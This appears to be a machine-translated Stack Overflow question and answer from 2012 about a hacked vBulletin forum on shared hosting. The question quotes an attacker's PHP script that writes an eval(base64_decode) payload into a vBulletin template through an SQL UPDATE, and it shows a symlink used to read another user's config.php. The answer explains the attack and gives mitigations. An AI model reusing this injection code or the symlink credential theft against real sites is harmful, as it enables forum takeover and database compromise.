0

我有PHP安全问题。我发现有人试图获取config.phpvBulletin论坛脚本。例如,我在用户matt中安装了一个 vBulletin 脚本。

所以 vbulletin 论坛的虚拟主机目录将是:

/home/matt/public_html/forum/includes/config.php

现在黑客以另一个用户登录,我们称他为john,他上传了一个基于函数的 PHP 脚本function_existbase64_decode并且file_get_contents. 这是代码的一部分。

完整的脚本可以在http://www.textswell.com/read,4207852514827.

现在我发现他可以通过符号链接获取数据库信息:

183697715 lrwxrwxrwx 1 john john 49 Oct  9 00:01 g.html -> /home/matt/public_html/forum/includes/config.php

现在他如何对文件进行符号链接并读取数据库信息?他所做的还不止这些。他还有一个可以写入所有模板数据库的 SQL 脚本,完整代码如下:

    <INPUT value=\"&#1593;&#1583;&#1604;\" name=\"send\" type=\"submit\">
    </FORM>";
}
else {
    $localhost = $_POST['localhost'];
    $database  = $_POST['database'];
    $username  = $_POST['username'];
    $password  = $_POST['password'];
    $index     = $_POST['index'];
    @mysql_connect($localhost,$username,$password) or die(mysql_error());
    @mysql_select_db($database) or die(mysql_error());

    $index=str_replace("\'","'",$index);

    $set_index  = "{\${eval(base64_decode(\'";

    $set_index .= base64_encode("echo \"$index\";");

    $set_index .= "\'))}}{\${exit()}}</textarea>";

    $ok=@mysql_query("UPDATE template SET template ='".$set_index."' WHERE title ='spacer_open'") or die(mysql_error());

    if($ok){
        echo "!! update finish !!<br><br>";
    }
}
# Footer
echo "<strong>SpeciaL GreeTz To :</strong> <u>Abu-NaiF</u>";
?>

我无法禁用这些功能。很多脚本都依赖它,而且我不知道如何通过 mod security 设置规则来停止脚本上编写的MySQL查询。

有解决办法吗?

4

1 回答 1

1

您的网站遭到入侵

这种攻击类似于当前的 WordPress 攻击。通常黑客会打电话echo file_get_contents('/etc/passwd');,然后扫描所有这些文件并搜索database,localhostpassword其他高度敏感的词。他创建了一个config符号可访问的文件。然后他做破坏。

而且,据我所知,他通过c99 script. 您现在可以采取的一些预防措施是:

  1. 为其他用户删除execute permission。甚至不向其他用户提供PHP(和 Perl)访问权限。
  2. 删除缓存文件并删除未使用和连接的名称文件。
  3. 请阅读如何防止为非 root 用户创建符号链接中的所有说明?

幸运的是,看起来黑客并没有损害您的数据库(不确定)。

于 2012-10-12T22:59:57.040 回答